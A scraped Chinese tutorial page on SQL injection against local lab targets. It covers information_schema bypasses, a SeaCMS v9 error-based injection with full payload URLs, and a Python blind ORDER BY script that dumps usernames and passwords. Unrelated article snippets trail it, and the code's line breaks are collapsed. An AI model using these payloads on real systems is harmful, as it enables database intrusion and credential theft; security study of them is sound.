当前位置: 首页 > news >正文

seasms v9 注入漏洞 + order by注入+​information_schema​解决方法

目录

一、当注入时,information_schema被禁用的解决方法

1.通过sys库可以获取到表名和库名

2.通过无列名注入join获取列名

二、seasms v9 注入漏洞

三、order by注入


一、当注入时,information_schema被禁用的解决方法

        information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图,包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构,比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。

1.通过sys库可以获取到表名和库名

        在 Mysql 5.7 版本中新增了 sys.schema ,基础数据来自于 performance_schema和information_sche两个库中,其本身并不存储数据。

可以代替information_schema的表:

sys.schema_table_statistics:
该表提供了关于表的统计信息,包括表所在的数据库(table_schema)和表名(table_name)。sys.schema_table_statistics_with_buffer:
除了提供基本的表统计信息外,还包含了InnoDB缓冲池的统计信息,同样有table_schema和table_name字段。sys.schema_auto_increment_columns:
如果表中有自增ID列,这个视图会包含相关信息,可以用来间接推断出表的存在,但只限于有自增列的表。

2.通过无列名注入join获取列名

        由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。

select * from (select * from users as a join users b)c;

 当查询完第一个列名时,使用using排除,继续查询下一个列名。

select * from (select * from users as a join users as b using(id)) as c;

 以此类推可以获取到想要的列名。


二、seasms v9 注入漏洞

漏洞文件:

seacmsV9.1/upload/comment/api/index.php

漏洞代码:

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";if($page<2)
{if(file_exists($jsoncachefile)){$json=LoadFile($jsoncachefile);die($json);}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{createTextFile($h,$jsoncachefile);
}
die($h);	function ReadData($id,$page)
{global $type,$pCount,$rlist;$ret = array("","",$page,0,10,$type,$id);if($id>0){$ret[0] = Readmlist($id,$page,$ret[4]);$ret[3] = $pCount;$x = implode(',',$rlist);if(!empty($x)){$ret[1] = Readrlist($x,1,10000);}}	$readData = FormatJson($ret);return $readData;
}function Readmlist($id,$page,$size)
{global $dsql,$type,$pCount,$rlist;$ml=array();if($id>0){$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";$rs = $dsql ->GetOne($sqlCount);$pCount = ceil($rs['dd']/$size);$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";$dsql->setQuery($sql);$dsql->Execute('commentmlist');while($row=$dsql->GetArray('commentmlist')){$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}}$readmlist=join($ml,",");return $readmlist;
}function Readrlist($ids,$page,$size)
{global $dsql,$type;$rl=array();$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";$dsql->setQuery($sql);$dsql->Execute('commentrlist');while($row=$dsql->GetArray('commentrlist')){$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";}$readrlist=join($rl,",");return $readrlist;
}function ReadReplyID($gid,$cmid,&$rlist)
{global $dsql;if($cmid>0){if(!in_array($cmid,$rlist))$rlist[]=$cmid;$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");if(is_array($row)){$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);}else{$ReplyID = "";}}else{$ReplyID = "";}return $ReplyID;
}function FormatJson($json)
{$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";for($i=6;$i>=0;$i--){$x=str_replace("%".$i."%",$json[$i],$x);}$formatJson = jsonescape($x);return $formatJson;
}function jsonescape($txt)
{$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));return $jsonescape;
}

 在代码中,$ids是通过$rlist数组收集的,而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中,当处理评论回复时,会递归地收集相关的回复ID,存入$rlist数组中,然后生成$ids作为逗号分隔的字符串。在Readrlist函数中,$ids被直接拼接到SQL查询的IN子句中,而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。

通过报错注入出当前用户:

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

当前数据库:

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,0x5c,(select%20database()))),@`%27`

 注入获取表:

http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

【这里获取表时不会报错出东西】


三、order by注入

sort前面是order by,通过sort传入的字段排序,可以通过用sort=if(表达式,列1,列2)的方式注入

可以通过BeautifulSoup爬取表格中username下一格的值来判断表达式的真假,并通过二分查找加快注入速度

import requests
from lxml import htmldef get_id_one(URl, paload):res = requests.get(url=URl, params=paload)tree = html.fromstring(res.content)id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()return id_onedef get_database(URl):s = ""for i in range(1, 10):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = { "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":hight = midmid = (low + hight) // 2else:low = mid + 1mid = (low + hight) // 2s += chr(mid)print("数据库名:" + s)def get_table(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("表:" + s)def get_column(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("列:" + s)def get_result(URl):s = ""for i in range(1, 32):low = 32hight = 128mid = (low + hight) // 2while (hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URl, paload)if id_one == "1":low = mid + 1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s += chr(mid)print("用户名和密码信息:" + s)if __name__ == '__main__':URl = "http://127.0.0.1/sqlilabs/less-46/index.php"get_database(URl)get_table(URl)get_column(URl)get_result(URl)

 

相关文章:

seasms v9 注入漏洞 + order by注入+​information_schema​解决方法

目录 一、当注入时&#xff0c;information_schema被禁用的解决方法 1.通过sys库可以获取到表名和库名 2.通过无列名注入join获取列名 二、seasms v9 注入漏洞 三、order by注入 一、当注入时&#xff0c;information_schema被禁用的解决方法 information_schema数据库是My…...

【实战 ES】实战 Elasticsearch:快速上手与深度实践-1.3.1单节点安装(Docker与手动部署)

&#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 &#x1f449; 点击关注不迷路 文章大纲 10分钟快速部署Elasticsearch单节点环境1. 系统环境要求1.1 硬件配置推荐1.2 软件依赖 2. Docker部署方案2.1 部署流程2.2 参数说明2.3 性能优化建议 3. 手动部署方案3.1 安…...

如何使用useEffect模拟组件的生命周期?

什么是 useEffect&#xff1f; useEffect 是 React 提供的一个 Hook&#xff0c;用于处理副作用&#xff08;side effects&#xff09;。它允许你在函数组件中执行一些操作&#xff0c;这些操作通常会影响组件的渲染&#xff0c;比如数据获取、订阅、DOM 操作等。通过 useEffe…...

【DeepSeek】私有化本地部署图文(Win+Mac)

目录 一、DeepSeek本地部署【Windows】 1、安装Ollama 2、配置环境变量 3、下载模型 4、使用示例 a、直接访问 b、chatbox网页访问 二、DeepSeek本地部署【Mac】 1、安装Ollama 2、配置环境变量 3、下载模型 4、使用示例 5、删除已下载的模型 三、DeepSeek其他 …...

Python 入门教程(2)搭建环境 | 2.3、VSCode配置Python开发环境

文章目录 一、VSCode配置Python开发环境1、软件安装2、安装Python插件3、配置Python环境4、包管理5、调试程序 前言 Visual Studio Code&#xff08;简称VSCode&#xff09;以其强大的功能和灵活的扩展性&#xff0c;成为了许多开发者的首选。本文将详细介绍如何在VSCode中配置…...

Wireshark详解

Wireshark使用详解 1.Wireshark 简介2.下载与安装1. 下载地址2. 安装步骤&#xff08;以 Windows 为例&#xff09; 3. 界面与核心功能1. 主界面布局2. 常用菜单功能 4. 过滤功能详解1. 过滤类型2. 常用过滤命令 5. 过滤命令与网络结构对应6. 使用注意事项7. 案例分析 TCP 三次…...

《从零开始掌握Python:一份全面的学习指南》

一、为什么选择Python? Python以其简洁优雅的语法和强大的生态系统成为全球最受欢迎的编程语言之一。无论是开发网站、分析数据、构建人工智能模型,还是自动化办公,Python都能轻松胜任。 学习门槛低:代码如英文般直观,例如 print("Hello, World!")。 应用领域广…...

布署elfk-准备工作

建议申请5台机器部署elfk&#xff1a; filebeat(每台app)--> logstash(2台keepalived)--> elasticsearch(3台)--> kibana(部署es上)采集输出 处理转发 分布式存储 展示 ELK中文社区: 搜索客&#xff0c;搜索人自己的社区 官方…...

LlamaFactory-webui:训练大语言模型的入门级教程

LlamaFactory是一个开源框架&#xff0c;支持多种流行的语言模型&#xff0c;及多种微调技术&#xff0c;同时&#xff0c;以友好的交互式界面&#xff0c;简化了大语言模型的学习。 本章内容&#xff0c;从如何拉取&#xff0c;我已经搭建好的Llamafactory镜像开始&#xff0…...

达梦数据库授权给某个用户查询其他指定用户下所有表的权限

方法1&#xff1a; 新版本有一个数据库参数 GRANT_SCHEMA&#xff0c;表示是否开启授予和回收模式权限功能。0&#xff1a;否&#xff1b;1&#xff1a;是 此参数为静态参数&#xff0c;默认是0&#xff0c;将改参数修改为1后&#xff0c;重启数据库生效。 将参数修改为1 S…...

uniapp 微信小程序打包之后vendor.js 主包体积太大,解决办法,“subPackages“:true设置不生效

现在是打包的时候&#xff0c;vendor.js 的内容全部打到了主包里面&#xff0c; 说一下我的方法&#xff1a; 1. 通过发行 小程序打包 这样打包的体积是最小的&#xff0c;打包之后打开微信开发工具&#xff0c;然后再上传 2.manifest.json,在“mp-weixin”里添加代码 "…...

Docker数据卷容器实战

数据卷容器 数据共享 上面讲述的是主机和容器之间共享数据&#xff0c;那么如何实现容器和容器之间的共享数据呢&#xff1f;那就是创建 创建数据卷容器。 命名的容器挂载数据卷&#xff0c;其他容器通过挂载这个&#xff08;父容器&#xff09;实现数据共享&#xff0c;挂载…...

【Eureka 缓存机制】

今天简单介绍一下Eureka server 的缓存机制吧✌️✌️✌️ 一、先来个小剧场&#xff1a;服务发现的"拖延症" 想象你是个外卖小哥&#xff08;客户端&#xff09;&#xff0c;每次接单都要打电话问调度中心&#xff08;Eureka Server&#xff09;&#xff1a;“现在…...

docker-compose方式启动Kafka Sasl加密认证(无zk)

首先参考文档&#xff0c;思考过程可以进行参考https://juejin.cn/post/7294556533932884020#heading-3 用的镜像是Bitnami&#xff0c;对SASL配置进行了简化&#xff0c;需要按照特定格式去配置jass验证 完整配置如下 镜像版本参考&#xff1a;https://hub.docker.com/r/bitn…...

[ComfyUI]官方已支持Skyreels混元图生视频,速度更快,效果更好(附工作流)

一、介绍 昨天有提到官方已经支持了Skyreels&#xff0c;皆大欢喜&#xff0c;效果更好一些&#xff0c;还有GGUF量化版本&#xff0c;进一步降低了大家的显存消耗。 今天就来分享一下官方流怎么搭建&#xff0c;我体验下来感觉更稳了一些&#xff0c;生成速度也更快&#xf…...

数据库导出

MySQL数据库 使用命令行导出 导出整个数据库&#xff1a;在命令行中输入mysqldump -u用户名 -p密码 数据库名 > 导出文件路径/文件名.sql。例如mysqldump -uroot -p123456 mydb > /home/user/mydb_backup.sql&#xff0c;回车后输入密码即可将名为mydb的数据库导出为SQL…...

Flask 应用结构与模块化管理详细笔记

1. 代码结构优化&#xff1a;StructureA 最初的 Flask 项目结构适用于小型应用&#xff0c;但不适用于大型应用。为了改进代码结构&#xff0c;我们将 URL 管理应用拆分为多个模块。 1.1 StructureA 目录结构 StructureA |-- .flaskenv |-- app.py |-- views.py |-- templat…...

Excel的两个小问题解决

&#xff08;一&#xff09;因为合并单元格存在&#xff0c;无法使用下拉自动填充公式。 解决方案&#xff1a; 使用 CtrlEnter 组合键 选中目标区域&#xff1a;选中需要应用公式的所有合并单元格区域&#xff0c;这些单元格可能是由 2 行或 3 行等合并而成。输入公式&…...

计算机毕业设计Python+DeepSeek-R1大模型期货价格预测分析 期货价格数据分析可视化预测系 统 量化交易大数据 机器学习 深度学习

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…...

JVM 面试

JVM 运行时内存区域划分是怎样的&#xff1f; 程序计数器&#xff1a;记录当前线程执行的字节码指令的地址&#xff0c;是线程私有的。 Java 虚拟机栈&#xff1a;每个方法在执行时都会创建一个栈帧&#xff0c;用于存储局部变量表、操作数栈、动态链接、方法出口等信息&#…...

【OSG学习笔记】Day 18: 碰撞检测与物理交互

物理引擎&#xff08;Physics Engine&#xff09; 物理引擎 是一种通过计算机模拟物理规律&#xff08;如力学、碰撞、重力、流体动力学等&#xff09;的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互&#xff0c;广泛应用于 游戏开发、动画制作、虚…...

K8S认证|CKS题库+答案| 11. AppArmor

目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作&#xff1a; 1&#xff09;、切换集群 2&#xff09;、切换节点 3&#xff09;、切换到 apparmor 的目录 4&#xff09;、执行 apparmor 策略模块 5&#xff09;、修改 pod 文件 6&#xff09;、…...

Objective-C常用命名规范总结

【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练

前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1)&#xff1a;从基础到实战的深度解析-CSDN博客&#xff0c;但实际面试中&#xff0c;企业更关注候选人对复杂场景的应对能力&#xff08;如多设备并发扫描、低功耗与高发现率的平衡&#xff09;和前沿技术的…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

Java 加密常用的各种算法及其选择

在数字化时代&#xff0c;数据安全至关重要&#xff0c;Java 作为广泛应用的编程语言&#xff0c;提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景&#xff0c;有助于开发者在不同的业务需求中做出正确的选择。​ 一、对称加密算法…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...